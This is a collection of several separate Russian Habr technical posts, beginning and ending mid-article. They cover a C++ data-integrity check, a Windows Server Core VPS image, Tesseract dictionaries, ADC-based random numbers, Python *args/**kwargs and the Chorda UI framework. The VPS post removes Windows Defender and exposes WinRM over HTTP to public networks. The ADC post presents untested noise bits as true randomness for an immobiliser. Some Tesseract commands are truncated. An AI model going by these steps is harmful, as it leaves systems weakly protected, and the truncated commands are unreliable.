Теперь во всех методах, в которых важно отследить целостность всех данных, можно прописать:
```
ASSERT(DataVersion == 0);
```
Добавляя новые данные в класс, придётся вручную увеличить константу DataVersion (тут требуется дисциплина, увы). Зато компилятор сразу обратит внимание на те места, которые нужно проверить. К таким точкам проверки должны относиться:
* конструкторы,
* оператор присваивания (operator=)
* операторы сравнения (==, <, etc),
* чтение/запись данных (в том числе <<, >>),
* деструктор (если он не тривиальный).
Остальные места проверки зависят от внутренней логики (вывод в лог, например).
Эту же константу (DataVersion) удобно использовать при сохранении данных на диск (если интересно, могу написать об этом отдельно).
#### Benefit
Что в итоге?
Плюсы:
* Автоматическая проверка целостности на этапе компиляции (порой, это экономит часы и даже дни отладки).
* Нулевые накладные расходы на этапе выполнения.
Минусы:
* Дополнительный код (хоть и относительно небольшой).
* Нагрузка на самодисциплину (нужно именно просмотреть сработавшие падения, а не просто поправить константу).
Для меня плюсы перевешивают, а для вас?
**upd** Добавил подсветку кода. | https://habr.com/ru/post/138813/ | null | ru | null |
# Как мы делали тариф для Windows VPS за 99 рублей
Если вы являетесь клиентом VDS-хостинга, задумывались ли вы о том, что идет в комплекте со стандартным образом операционной системы?
Мы решили поделиться, как мы готовим стандартные клиентские виртуальные машины и покажем на примере нашего нового тарифа [Ultralight](https://ultravds.com) за 99 рублей, как мы создавали стандартный образ Windows Server 2019 Core, а также расскажем, что в нем изменилось.
Список изменений справедлив только для этого образа, для десктопных версий не нужно вносить столько изменений, чтобы из коробки получать управляемый сервер, который уместится в половину гигабайта.
Полный список внесенных изменений
---------------------------------
**1.** Влючены правила брандмауэра:
* Все правила группы «Remote Event Log Management»
* Virtual Machine Monitoring (DCOM-In)
* Virtual Machine Monitoring (Echo Request — ICMPv4-In)
**2.** Изменено правило
* Windows Remote Management (HTTP-In)
**3.** Удален компонент:
* Windows Defender Antivirus
**4.** Установлена служба интеграции с вашим личным кабинетом — Hyper-V Server Manager
**5.** Все файлы, которые сжимаются, были сжаты compact.exe.
**6.** Добавлен файл oledlg.dll
**7.** Включен RDP
Обновляем
---------
Процесс установки мы опустим, он представляет из себя не более чем далее, далее — готово. Сразу после установки, нужно обновиться. Чтобы сделать этот процесс наиболее удобным, мы используем Windows Admin Center.
[](https://lh3.googleusercontent.com/AfnvIDc5wbd19E_goWikmOtPJsMM470QQb6xpm0aJ_xMJUuWxFfsUWzY7MhPr5FruB24dpm4vavXmPKrRHgPJCLh_qdLv5Qg9uYVWmrE93Z8w2xiadVMjlrmGUOnbOH195nNoHt754BQcWPaQQ)
Это так же можно сделать и с помощью Sconfig, но это не наш вариант, иначе придется использовать левую руку.
Включаем возможность управления
-------------------------------
Далее, нужно открыть порты для того, чтобы можно было управлять сервером через RSAT.
Для этого нужно включить все правила в группе «Remote Event Log Management» и Virtual Machine Monitoring (DCOM-In). Большая часть функций RSAT теперь доступны, а именно: планировщик заданий, просмотр событий, локальные пользователи, perfmon и список служб. Через Powershell можно включать целые группы правил, это делается одной изящной командой:
```
Enable-NetFirewallRule -DisplayGroup "Remote Event Log Management"
```
[](https://lh4.googleusercontent.com/LZxnVkezEniIh4SItoYil3c34vWFBXrYFrD24y-uN-lOwMm-wgJ0lFaWpXySPiOiy3jSJVNt1sGQ4Xmhzl7ZHB4i3xYuHjS2qq8m0u481mgQkOSbwEan-pOor6iBcEboUOP_E3i5rVpbX3SD_g)
Управление томами и устройствами на Server Core не поддерживается, хоть для них и есть правила в фаерволле.
А чтобы включить возможность управления по WINRM для публичных сетей, нужно изменить правило Windows Remote Management (HTTP-In), изменив область.
```
Set-NetFirewallRule -name WINRM-HTTP-In-TCP-PUBLIC -Profile Any
```
Удаление Windows Defender
-------------------------
**Об оперативной памяти**
Чтобы уместиться в 512 мегабайт ОЗУ, придется пойти на жертвы. Чтобы выбить себе дополнительную оперативную память, нужно что-то выкинуть. А выкинем мы Windows Defender.
Такую манипуляцию мы позволили себе только с акционным тарифом.
Сжатие
------
Нашим тарифом предусмотрено свободное место всего лишь в 10 гигабайт. После установки всех компонентов операционная система начинает занимать 9,64 ГБ, но этот показатель можно улучшить с помощью compact.exe. Открываем два терминала, в одном переходим в корень диска и вводим команду:
```
compact /s /c /i /f /a /exe:lzx
```
Опция LZX доступна только для Windows Server 2016 и 2019, системные файлы сжимаются только на этих редакциях, поэтому если вы хотите сэкономить место, выбор не велик.
Во втором вводим команду:
```
Compact /Compactos:always
```
После этого мы вводим ключи активации и адрес KMS сервера и устанавливаем службу. Этого, мы конечно, не покажем. Теперь результаты:
Было:
Стало:
Теперь примонтируем диск, сделаем оффлайновый Dism, а также удалим содержимое папок SoftwareDistribution и Manifestcache.
Dism делается так:
```
Dism.exe /Image:E:\ /Cleanup-Image /StartComponentCleanup /ResetBase
```
Вот еще один гигабайт для наших клиентов.
Добавляем Oledlg.dll
--------------------
Oledlg.dll — это библиотека которая содержит базовые OLE функции, которые нужны для реализации диалоговых окон в Windows с GUI. Этот файл нужен для того, чтобы превратить Server Core в настоящую рабочую станцию.
Он позволяет в том числе, разворачивать и торговые терминалы форекс.
Вот и все. Это все, что мы сделали с образом для [VDS](https://ultravds.com) за 99 рублей.
Предлагаем обновлённый тариф UltraLite [Windows VDS](https://ultravds.com/) за 99 рублей с установленной Windows Server 2019 Core.
[](https://ultravds.com/) | https://habr.com/ru/post/469549/ | null | ru | null |
# Tesseract OCR tips — создание своего словаря для повышения эффективности OCR
Это мой первый пост об оптическом распознавании текста (OCR) с использованием Tesseract. Tesserast это очень популярная open source библиотека для OCR поддерживаемая Google, которая дает высокие результаты точности и поддерживает более 100 языков. В этом посте я расскажу как можно работать со стандартным словарем для языковой модели Tesseract и настроить его под свои нужды. Кому интересно, прошу под кат.
### Языковые модели и словари Tesseract
Для распознавания текста на конкретном языке Tesseract использует языковые модели и словари. Языковая модель содержит в себе значения параметров модели нейронной сети и другие данные обучения. Например, языковая модель для английского языка хранится в файле eng.traineddata. Пользователь может создать свой список слов для Tesseract так, чтобы Tesseract мог научиться их распознавать.
Tesseract позволяет расширять стандартный словарь для любого поддерживаемого языка добавлением собственных слов либо обучить языковую модель полностью заменив слова стандартного словаря своими словами.
Tesseract использует специальные файлы .dawg для различных категорий слов в словаре. Например, файл .word-dawg используется для основных слов словаря, а файл freq-dawg — для наиболее часто встречающихся слов. Более подробную информацию по вопросу можно найти [здесь](https://github.com/tesseract-ocr/tesseract/wiki/Training-Tesseract-3.03%E2%80%933.05#dictionary-data-optional).
### Кастомизация языковой модели Tesseract
Данное руководство можно применить для версий Tesseract 3.0.5 и 4.0.0. Единственное отличие Tesseract 4.0.0 от более ранней 3.0.х в том, что в версии 4 в основе Tesseract лежит модель LSTM и файлы словаря dawg имеют расширение lstm--dawg (в версии v3.0.5 они имеют расширение -dawg). Так например файл наиболее часто встречающихся слов теперь имеет расширение lstm-freq-dawg вместо freq-dawg, а файл unicharset получил расширение lstm-unicharset (ранее .unicharset).
Для начала установим библиотеку Tesseract OCR. В этом туториале я использую ОС Ubuntu (я использовал Ubuntu 18.04) и Tesseract v4. Просто установим Tesseract с помощью пакета apt:
```
sudo apt update && sudo apt install tesseract-ocr
```
Кроме самой библиотеки Tesseract эта команда также установит все необходимые инструменты для обучения языковой модели (training tools).
Для начала расширим языковую модель своими словами. Для примера мы хотим расширить модель для английского языка. Создадим обычный текстовый файл с названием wordlistfile и добавим в него слова, которые мы хотим добавить в словарь модели, по одному с новой строки.
Затем перейдет в папку tessdata. Нам нужны права root для выполнения операций в этой системной папке
```
sudo su
```
Скопируем файл wordlistfile в эту папку. Распакуем файл языковой модели eng.traineddata в папку traineddat\_backup
```
combine_tessdata -u eng.traineddata traineddat_backup/eng.
```
Эта команда извлекает все файлы, необходимые для компиляции языковой модели в папку traineddat\_backup.
Теперь создадим файл eng.lstm-word-dawg из нашего файла wordlistfile с помощью утилиты wordlistfile
```
wordlist2dawg wordlistfile eng.lstm-word-dawg traineddat_backup/eng.lstm-unicharset
```
и скомпилируем новый файл языковой модели eng.traineddata
```
combine_tessdata -o eng.traineddata eng.lstm-word-dawg
```
Мы получим файл языковой модели eng.traineddata из наших собственных слов словаря.
Теперь обучим языковую модель eng полностью заменив слова стандартного словаря своими словами. Сначала нам нужно сделать бэкап всех файлов dawg (.lstm-word-dawg, .lstm-freq-dawg итд), находящихся в папке traineddat\_backup, поскольку мы заменим их новыми. Просто создадим папку tmp и перенесем в нее все файлы dawg.
После этого скопируем наш файл eng.lstm-word-dawg, созданный ранее, в папку traineddat\_backup. Перейдем в эту папку и скомпилируем новую языковую модель
```
combine_tessdata eng.
tesseract -l
```
где output — имя текстового файла для записи результата OCR или ‘stdout’ для вывода в терминал.
Файлы конфигурации в Tesseract OCR
----------------------------------
Tesseract использует файлы конфигурации (простые текстовые файлы, содержащие переменные и их значения в виде «ключ — значение», разделенные пробелами), которые позволяют пользователю контролировать результат OCR. Вы можете создать собственную конфигурацию (myconf) и поместить ее в папку configs внутри папки tessdata и указать имя конфигурации при использовании Tesseract:
```
tesseract myconf
```
где options: out — имя файла для вывода результата или ‘stdout’,-l — языковая модель, — psm — метод постраничной сегментации ([Page segmentation method](https://github.com/tesseract-ocr/tesseract/wiki/ImproveQuality#page-segmentation-method)).
Tesseract предоставляет множество параметров управления для настройки вывода и повышения точности OCR. Так здесь есть переменные, контролирующие использование словарей, например исключение слов, которых нет в word\_dawg / user\_words (language\_model\_penalty\_non\_freq\_dict\_word и language\_model\_penalty\_non\_dict\_word). Более подробно о параметрах управления можно прочитать [здесь](https://github.com/tesseract-ocr/tesseract/wiki/ControlParams).
Я использовал такие значения в своем конфиге:
```
language_model_penalty_non_freq_dict_word 1
language_model_penalty_non_dict_word 1
```
Это позволило распознать некоторые слова из моего словаря.
Пока на этом все. Всем удачи в использовании Tesseract для задачи OCR и до новых встреч! | https://habr.com/ru/post/466571/ | null | ru | null |
# АЦП в качестве генератора случайных чисел
Доброго времени суток! Решил рассказать о простом и интересном способе получения честных случайных чисел на микроконтроллерах, не имеющих на борту аппаратного генератора случайных чисел. Достаточно, чтобы у микроконтроллера был АЦП и один свободный вход. Подробности под катом.
Идея не нова и много кому приходила в голову. Я её реализовал в [одном](http://solidware.ru/car-immobilizer) из своих старых проектов на STM8S003F3, так что примеры кода будут к этому чипу, хотя перенести код на любую другую архитектуру не составит труда.
Суть заключается в том, что при измерении напряжения при помощи АЦП младшие биты результата наиболее подвержены шумам. Мы используем этот факт себе на пользу — будем делать несколько замеров, и записывать младший бит результата (как самый «шумный»). Таким образом сделав 8 измерений можно получить совсем случайный байт.
Ухудшим результаты измерения насколько это возможно. Установим наименьшее время выборки, а вывод микроконтроллера, на котором расположен вход АЦП, повесим «в воздухе», никуда не подтягивая и ни к чему не подключая. Чем больше шума — тем лучше.
Инициализация АЦП:
```
CLK_PCKENR2 |= 0x08; //Подаём тактирование на АЦП
ADC_CR1 = MASK_ADC_CR1_ADON; //Включение
ADC_CR2 = MASK_ADC_CR2_ALIGN;
ADC_CR3 = 0;
ADC_CSR = 4; //Выбор канала
```
Функция получения случайного байта:
```
unsigned char GetRandom(void) {
unsigned char i, result;
result = 0;
for (i = 0; i < 8; i++) {
ADC_CR1 = MASK_ADC_CR1_ADON; //Старт преобразования
while (ADC_CSR == 4); //Ждём установки флага окончания преобразования
result = (result << 1) + (ADC_DRL & 0x01);
ADC_CSR = 4; //Сбрасываем флаг окончания преобразования
}
return result;
}
```
Вот такая небольшая хитрость. Код восстанавливал по памяти, так что могут быть ошибки — о них прошу написать в ЛС.
Буду очень рад мнению опытных людей о таком способе получения случайных чисел. | https://habr.com/ru/post/259623/ | null | ru | null |
# Хватит злоупотреблять *args и **kwargs в Python
Photo by Matthew Henry on UnsplashДа будет холивар! Использовать args/kwargs или не использовать, это показатель профессионализма или базовые знания, без которых должно быть стыдно? Часто листая github различных проектов натыкаешься на наличие данных аргументов в функциях просто потому что. И данная статья натолкнула на пообщаться на эту тему. Вообще, стараюсь не использовать неконтролируемое аргументирование на практике, но на сколько это вообще распространенный метод программирования? Делитесь в комментариях. И приятного чтения.
---
В Интернете полно обучалок, которые научат вас использовать `*args` и `**kwargs` при определении функции в Python. Возможно, вы уже часами пытаетесь понять, как раскрыть их потенциал. Может быть, после всего этого исследования вы теперь чувствуете в них уверенность.
*Не надо!*
Мощные инструменты опасны. Вы могли облегчить свою жизнь, но запомните мои слова, они вскоре вернутся, чтобы преследовать вас.
*Но почему?*
---
Немного основ
-------------
Параметры в Python функции могут принимать два типа аргументов:
* Позиционные аргументы, которые передаются позиционно.
* Именованные аргументы, которые передаются с ключевыми словами.
```
def foo(start, end):
print(start, end)
```
Например, `foo ('Hi', end = 'Bye!')` Передает позиционный аргумент `"Hi"` и именованный аргумент `"Bye!"`, где ключевым словом выступает `end` для функции `foo`. Параметры функции предопределены; количество параметров, принимаемых в функции, фиксировано. Однако это не всегда так.
`*args` позволяет передавать вашей функции произвольное количество позиционных аргументов. Звездочка `*` - параметр распаковки. Параметры упаковываются в виде итерируемого кортежа внутри функции.
```
def foo(*args):
print(type(args))
for arg in args:
print(arg)
foo(1, 2, 'end')
#
# 1
# 2
# end
```
С другой стороны, `**kwargs` позволяет передавать вашей функции произвольное количество аргументов с ключевыми словами. Поскольку у каждого именованного аргумента есть ключевое слово и значение, он сгруппирован как итерируемый словарь внутри функции.
```
def foo2(**kwargs):
print(type(kwargs))
for keyword, value in kwargs.items():
print(f'{keyword}={value}')
foo2(a=1, b=2, z='end')
#
# a=1
# b=2
# z=end
```
Photo by Susan Holt Simpson on Unsplash
---
Проблема
--------
В большинстве случаев вам действительно не нужны `*args` и `**kwargs`. Как часто вы не знаете, сколько аргументов должна получить предопределенная ВАМИ функция?
Код гораздо сложнее отлаживать, если вы злоупотребляете в нем подобными решениями, потому что вы позволяете передавать произвольное количество аргументов функции, и функция может вести себя непредсказуемо.
> *Явное лучше, чем неявное. - Дзен Python*
>
>
---
Когда всё-таки использовать аргументы?
--------------------------------------
Если кратко: используйте их, когда они вам *действительно* нужны. Например, функция с множеством необязательных полей, и некоторые из них используются только в редких ситуациях. Скажем, функция строит график, и вы можете передавать различные необязательные аргументы, чтобы изменить его цвет, стиль, размер и т.д.
Каждый раз, когда вы используете `*args` и/или `**kwargs`, убедитесь, что вы пишите к функциям ясную документацию, чтобы избежать путаницы.
Есть один сценарий, в котором их использование может быть неизбежным. Если вы создаете оболочку для функции с неизвестными аргументами, вам нужно будет принять произвольное количество позиционных и именованных аргументов, а затем передать их функции.
Например, декораторы в Python работают как оболочки, которые изменяют поведение кода, не изменяя сам код функции, тем самым расширяя дополнительные функции.
Photo by Alexander Schimmeck on UnsplashВ следующем примере мы создаем `трассировку`, которая выводит имя выполняемой функции в качестве проверки работоспособности. Декоратор применяется к функции с помощью `@trace` поверх функции, как показано ниже. Поскольку мы хотим применить этот декоратор к любым функциям с любым количеством аргументов, нам нужно использовать `*args` и `**kwargs`.
```
def trace(func):
def print_in(*args, **kwargs):
print('Executing function', func.__name__)
return func(*args, **kwargs)
return print_in
@trace
def calc(a,b):
print(f'a+b is {a+b}, a-b is {a-b}.')
calc(1,2)
# Executing function calc
# a+b is 3, a-b is -1.
@trace
def add_all(*args):
print(reduce(lambda a,b:a+b, args))
a = add_all(1,2,3,4,5)
# Executing function add_all
# 15
```
---
Выводы
------
***По возможности избегайте их.***
Обратите внимание, что `args` и `kwargs` так называются просто по соглашению. Вы можете называть их как хотите. Именно звездочки `*` и `**` дают функциям ту самую мощь. | https://habr.com/ru/post/534672/ | null | ru | null |
# ZFS on Linux — не все так просто
Прочитав статью [«ZFS on Linux — легко и просто»](http://habrahabr.ru/post/152853/), решил поделиться своим скромным опытом использования этой ФС на паре Linux-серверов.
Вначале — лирическое отступление. ZFS — это круто. Это настолько круто, что перекрывает все недостатки ФС, портированной с идеологически другой платформы. Ядро Solaris работает с иными примитивами, нежели Linux, поэтому, чтобы сделать возможным перенос ZFS с использованием кода Solaris, разработчики создали слой совместимости SPL — Solaris Porting Layer. Прослойка эта работает вроде бы нормально, но она — дополнительный код в режиме ядра, который вполне может быть источником сбоев.
ZFS не до конца совместима с Linux VFS. Например, нельзя управлять списками контроля доступа через POSIX API и команды getfacl/setfacl, что очень не нравится Samba, которая хранит в ACL разрешения NTFS. Поэтому выставить нормальные права на Samba-папки и файлы не получится. Samba, теоретически, поддерживает ZFS ACL, но этот модуль под Linux еще собрать надо… А вот расширенные атрибуты ФС в ZFS on Linux присутствуют и работают отлично.
Кроме того, Solaris в 32-х битной редакции использует иной механизм распределения памяти, нежели Linux. Поэтому, если вы решились попробовать ZFS on Linux на архитектуре x86, а не x86\_64 — готовьтесь к глюкам. Вас ждет стопроцентная загрузка процессора на элементарных операция и километры ошибок в dmesg. Как пишут разработчики ZFS on Linux: «You are strongly encouraged to use a 64-bit kernel. At the moment zfs will build in a 32-bit environment but will not run stably».
ZFS — это своеобразная «вещь в себе», и она хранит в метаданных такие параметры, которые нетипичны для Linux. Например — имя точки монтирования ФС задается в ее настройках, а сама ФС монтируется командой zfs mount, что автоматически делает ее несовместимой с /etc/fstab и прочими способами монтирования ФС в Linux. Можно, конечно, выставить mountpoint=legacy и все-таки воспользоваться mount, но это, согласитесь, неизящно. В Ubuntu проблема решается пакетом mountall, который содержит специфичные для ZFS скрипты монтирования и пропатченную команду mount.
Следующая проблема — мгновенные снимки системы, так называемые снэпшоты. Вообще, ZFS содержит очень эффективную реализацию снэпшотов, которая позволяет создавать «машину времени» — комплект снимков, скажем, за месяц, с разрешением 1 снимок в 15 минут. Мейнтейнеры Ubuntu конечно, включили эту возможность в пакет zfs-auto-snapshot, который и создает комплект снимков, правда, более разряженный по времени. Проблема в том, что каждый снимок отображается в каталоге /dev в виде блочного устройства. Цикличность создания снэпшотов такова, что за месяц мы получим 4+24+4+31+1=64 блочных устройста на каждый том пула. Тоесть, если у нас, скажем, 20 томов (вполне нормальное значение, если мы используем сервер для виртуализации), мы получим 64\*20=1280 устройств за месяц. Когда же мы захотим перезагрузиться, нас будет ждать большой сюрприз — загрузка очень сильно затянется. Причина — при загрузке выполняется утилита blkid, опрашивающая все блочные устройства на предмет наличия файловых систем. То ли механизм определения ФС в ней реализован криво, то ли блочные устройства открываются медленно, но так или иначе процесс blkid убивается ядром через 120 секунд по таймауту. Надо ли говорить, что blkid и все основанные на ней скрипты не работают и после завершения загрузки?
**Горячие новости**Только что попробовал поставить пакет zfs-auto-stapshot и протестировать его более полно. Результат — ротация не работает, старые версии снэпшотов не удаляются (error 134). Так что за месяц мы получим 4\*24+24\*31+4+31+1=876 снэпшотов для одного тома или 18 396 для 20 томов. Скрипт, отвечающий за снэпшоты, наверное, можно как нибудь поправить…
Версия пакета — 1.0.8-0ubuntu1~oneric1, ОС — Debian Sid x86\_64
Допустим, мы победили все эти проблемы, и хотим отдать свежесозданный раздел другим машинам по iSCSI, FC или как-нибудь еще через систему [LIO-Target](http://linux-iscsi.org/index.php/LIO-Target), встроенную в ядро. Не тут то было! Модуль zfs при загрузке использует основной номер 230 для создания блочных устройств в каталоге /dev. LIO-Target (точнее, утилита targetcli) без последних патчей не считает устройство с таким номером готовым для экспортирования. Решение — исправить одну строчку в файле /usr/lib/python2.7/dist-packages/rtslib/utils.py, или добавить параметр загрузки модуля zfs в файл /etc/modprobe.d/zfs.conf:
```
options zfs zvol_major=240
```
И в завершение: как известно, включить модуль zfs в ядро мешает несовместимость CDDL, под которой выпущена ZFS, и GPL v2 в ядре. Поэтому каждый раз при обновлении ядра модуль пересобирается через DKMS. Иногда у модуля это получается, иногда (когда ядро уж слишком новое) — нет. Следовательно, самые свежие фишки (и багфиксы KVM и LIO-Target) из последних ядер вы будете получать с некоторой задержкой.
Каков же вывод? Использовать ZFS в продакшене надо с осторожностью. Возможно, те конфигурации, которые без проблем работали на других ФС, работать не будут, а те команды, которые вы без опаски выполняли на LVM, будут вызывать [взаимоблокировки](https://github.com/zfsonlinux/zfs/issues/935).
Зато в продакшене под Linux вам теперь доступны все фишки ZFS vol. 28 — дедупликация, он-лайи компрессия, устойчивость к сбоям, гибкий менеджер томов (его, кстати, можно использовать отдельно) и т. д. В общем удачи и успехов вам! | https://habr.com/ru/post/153461/ | null | ru | null |
# Chorda. Пробуем сделать это декларативно
Каждый раз, когда мне нужно сесть за создание нового приложения, я впадаю в легкий ступор. Голова идет кругом от необходимости выбрать, какую же библиотеку или фреймворк взять на этот раз. Вот в прошлый раз я писал на библиотеке X, но теперь уже подрос и хайпанулся фреймворк Y, а еще есть классный UI Kit Z, да и с прошлых проектов осталась куча наработок.
С какого-то момента я понял, что фреймворк не имеет особого значения — то, что мне нужно, я могу сделать на любом из них. Тут вроде следует обрадоваться, взять что-то с макимумом звездочек на гитхабе и успокоиться. Но все-равно постоянно появляется непреодолимое желание сделать что-то свое, свой собственный велосипед. Ну что ж. Немного общих размышлений по этому поводу и фреймворк под названием Chorda ждут вас под катом.
На самом деле беда скорее не в том, что чужое решение плохое или неэффективное. Нет. Беда в том, чужое решение заставляет думать так, как нам может оказаться не удобно. Но подождите. Что значит "удобно-неудобно" и как это вообще может влиять на разработку? Вспомним, что есть такая штука как DX, по сути — комплекс сложившихся личных и общепринятых практик. Отсюда можно сказать, что нам удобно, когда наш собственный DX совпадает с DX автора библиотеки или фреймворка. А в случае, когда они расходятся, возникает тот самый дискомфорт, раздражение и поиски чего-то нового.
### Немножко истории
Когда вы разрабатываете UI для корпоративного приложения, то сталкиваетесь с большим количеством пользовательских форм. И однажды голову посещает гениальная мысль: зачем я каждый раз создаю веб-форму, когда можно просто перечислить поля в JSON и скормить получившуюся структуру генератору? И, пусть в мире кровавого энтерпрайза такой подход работает не слишком хорошо (почему так, это отдельный разговор), но идея перейти от императивного стиля к декларативному в целом неплоха. Свидетельством тому является огромное количество генераторов веб-форм, страниц и, даже, целых сайтов, которые можно без труда найти на просторах Сети.
Вот и я в какой-то момент оказался не чужд стремлению улучшить свой код за счет перехода к декларативности. Но как только понадобились не просто стандартные html элементы, а сложные и интерактивные компоненты-виджеты, простым генератором отделаться уже не получилось. К этому быстро добавились требования переиспользуемости кода, интегрируемости, расширяемости и т.п. Разработка собственной библиотеки компонентов с декларативным API не заставила себя ждать.
Но и тут не случилось счастья. Наверно, лучше всего ситуацию будет отражать мнение моего коллеги, которому предстояло пользоваться созданной библиотекой. Он посмотрел на примеры, на документацию и сказал: "Библиотека классная. Красиво, динамично. Но как мне теперь из всего этого сделать приложение?". И он был прав. Оказалось, что сделать один компонент это не то же самое, что объединить несколько компонентов вместе и заставить их работать слаженно.
С тех пор прошло уже много времени. И когда в очередной раз меня посетило желание собрать вместе мысли и наработки, я решил поступить немного по-другому и пойти не снизу вверх, а сверху вниз.
### Управление приложением == управление состояниями
Мне привычнее рассматривать приложение как конечный автомат с некоторым клонечным же набором состояний. А работу приложения как множество переходов из одного состояния в другое, при которых изменение модели приводит к созданию новой версии представления. В дальнейшем **состоянием** я буду называть некоторые фиксированные **данные** (объект, массив, примитивный тип и т.п.), связанные с их единственным представлением — **документом**.
Есть очевидная проблема — для множества значений модели необходимо описать множество вариантов документа. Тут обычно используются два подхода:
1. Шаблоны. Ипользуем любимый язык разметки и дополняем его директивами ветвления и циклов.
2. Функции. Описываем в функции наши ветвления и циклы на любимом языке программирования.
Как правило, оба этих подхода заявляются декларативными. Первый считается декларативным, поскольку в его основе лежат, пусть немного расширенные, но правила языка разметки. Второй — поскольку концентрируется на композиции функций, ряд из которых выступают в роли правил. Что примечательно, четкой границы между шаблонами и функциями сейчас нет.
С одной стороны, мне нравятся шаблоны, но с другой — хотелось как-то использовать возможности javascript. Например, что-то типа такого:
```
createFromConfig({
data: {
name: 'Alice'
},
tag: 'div',
class: 'clickable box',
onClick: function () {
alert('Click')
}
})
```
Получется JS-конфигурация, которая описывает целиком одно конкретное **состояние**. Для описания же множества состояний потребуется добиться расширяемости этой конфигурации. И как удобнее всего сделать набор опций расширяемым? Тут изобретать ничего не будем — перегрузка опций существует уже давно. Как она работает, можно увидеть на примере Vue с его Options API. Но, в отличие от того же Vue, мне стало интересно, можно ли таким же образом описать полное состояние, включая данные и документ.
### Структура приложения и декларативность
> Термин "компонент" стал уж слишком расплывчатым, особенно после появления т.н. функциональных компонентов. Поскольку дальше речь пойдет о структуре приложения, я буду называть компонент **структурным элементом**.
Очень быстро я пришел к тому, что структурным элементом (компонентом) является не элемент документа, а некоторая сущность, которая:
1. объединяет данные и документ (биндинг и события)
2. связана с другими такими же сущностями (древовидная структура)
Как я указывал раньше, если воспринимать приложение как набор состояний, то для этих состояний необходимо иметь способ описания. Причем необходимо найти такой способ, чтобы в нем отсутствовали «паразитные» императивные операторы. Речь идет о тех самых вспомогательных элементах, которые вводятся в шаблоны — *#if*, *#elsif*, *v-for* и т.п. Думаю, многие уже знают решение — необходимо перенести логику в модель, оставив на уровне представления API, который позволит через простые типы данных управлять структурными элементами.
Под управлением я понимаю наличие вариативности и цикличности.
#### Вариативность (if-else)
Посмотрим как можно управлять вариантами отображения на примере компонента-карточки в Chorda:
```
const isHeaderOnly = true
const card = new Html({
$header: {
/* шапка */
},
$footer: {
/* подвал */
},
components: {header: true, footer: !isHeaderOnly} // здесь управляем компонентами
})
```
Задавая значение опции *components* можно контролировать отображаемые компоненты. А при связывании *components* с реактивным хранилищем, получим, что наша структура перейдет под управление данными. Есть один нюанс — в качестве значения используется Object, а ключи в нем не упорядочены, что накладывает на *components* некоторые ограничения.
#### Цикличность (for)
Работа с данными, количество которых известно только во время выполнения, потребует итерации по спискам.
```
const drinks = ['Coffee', 'Tea', 'Milk']
const html = new Html({
html: 'ul',
css: 'list',
defaultItem: {
html: 'li',
css: 'list-item'
},
items: drinks
})
```
Значение опции *items* это Array, соответственно, мы получаем упорядоченный набор компонентов. Привязка *items* к хранилищу как и в случае с *components* передаст управление данным.
Структурные элементы связаны друг с другом в древовидную иерархию. Если мы объединим предыдущие примеры, то для отображения списка в теле карточки получим следующее:
```
// структура данных
const state = {
struct: {
header: true,
footer: false,
},
drinks: ['Coffee', 'Tea', 'Milk']
}
// документ
const card = new Html({
$header: {
/* шапка */
},
$content: {
html: 'ul',
css: 'list',
defaultItem: {
html: 'li',
css: 'list-item'
},
items: state.drinks
},
$footer: {
/* подвал */
},
components: state.struct
})
```
Примерно таким образом и создается структура приложения на основе данных. Достаточно иметь два вида генераторов — на основе Object и на основе Array. Остается только разобраться, как происходит преобразование структурных элементов в документ.
### Когда все уже придумано за нас
Вообще, я являюсь сторонником того, что система рендеринга документа должна быть реализована на уровне браузера (пусть хоть тот же самый VDOM). И нашей задачей будет только аккуратно подключить ее к дереву компонентов. Ведь сколько ни расти скорость библиотеки, а у браузера она все-равно больше.
Я честно пытался когда-то сделать свою функцию отрисовки, но через некоторое время сдался, поскольку рисовать быстрее, чем на VanillaJS никак не получается (печально!). Сейчас для рендеринга модно использовать VDOM, а уж его реализаций, пожалуй, даже в избытке. Так что плюс еще одну реализацию виртуального дерева в копилку гитхаба я решил не добавлять — хватит и очередного фреймворка.
Изначально в Chorda для отрисовки был создан адаптер к библиотеке Maquette, но как только стали появляться задачи «из реального мира», оказалось, что практичнее иметь отрисовщик на React. В этом случае, к примеру, можно просто использовать существующий React DevTools, а не писать свой.
Для связи VDOM со структурными элементами понадобится такая вещь как **компоновка**. Ее можно назвать функцией документа от структурного элемента. Что важно — чистой функцией.
Рассмотрим пример с карточкой, у которой заданы шапка, тело и подвал. Ранее уже упоминалось, что компоненты не упорядочены, т.е. если мы начнем включаты/выключать компоненты во время работы, они будут появляться каждый раз в новом поряке. Посмотрим как это решается компоновкой:
```
function orderedByKeyLayout (h, type, props, components) {
return h(type, props, components.sort((a, b) => a.key - b.key).map(c => c.render()))
}
const html = new Html({
$header: {},
$content: {},
$footer: {},
layout: orderedByKeyLayout // компоненты упорядочиваются по ключу
})
```
Компоновка позволяет настроить т.н. host-элемент, с которым ассоциирован компонент, и его дочерние элементы (*items* и *components*). Обычно хватает и стандартной компоновки, но в ряде случаев верстка предполагает наличие элементов-оберток (например, для сеток) или назначения особых классов, которые мы по смыслу не хотим выносить на уровень компонентов.
### Щепотка реактивности
Декларировав и отрисовав структуру компонентов, мы получаем состояние, соответствующее одному конкретному набору данных. Дальше нам понадобится описать множество наборов данных и реакцию на их изменение.
При работе с данными мне не нравились две вещи:
* Иммутабельность. Хорошая штука для отслеживания изменений, такое себе версионирование для бедных, которое превосходно работает на примитивных и плоских объектах. Но как только структура усложняется и количество вложений увеличивается, поддерживать иммутабельность сложного объекта становится непросто.
* Подмена. Если я помещаю в хранилище данных некоторый объект, то, когда я попрошу его обратно, мне может вернуться его копия или вообще другой объект или прокси, имеющий с ним структурное сходство.
Мне захотелось иметь хранилище, которое ведет себя, как иммутабельное, но внутри содержит изменяемые данные, которые к тому же сохраняют ссылочное постоянство. В идеальном случае это выглядело бы так: я создаю хранилище, записываю в него пустой объект, начинаю ввод данных с формы приложения, а после нажатия кнопки submit получаю тот же объект (ссылочно тот же!) с заполненными свойствами. Я назваю этот случай идеальным, поскольку не так часто случается, что модель хранения совпадает с моделью представления.
Еще одна задача, которую небходимо решить — доставить данные из хранилища к структурным элементам. Опять же изобретать ничего не будем и используем подход подключения к общему **контексту**. В случае Chorda мы не имеем доступ к самому контексту, а только к его отображению, называемому **областью видимости**. Причем, область видимости компонента является контекстом для его дочерних компонентов. Такой подход позволяет сузить, расширить или подменить связанные данные на любом уровне нашего приложения, причем эти изменения окажутся изолированными.
Пример того, как контекстные данные распространяются по дереву компонентов:
```
const html = new Html({
// определяем контекст нашего компонента
scope: {
drink: 'Coffee'
},
$component1: {
scope: {
cups: 2
},
$content: {
$myDrink: {
// скоуп здесь содержит те же переменные, что и корневой
drinkChanged: function (v) {
// привязываем значения переменной drink к опции text
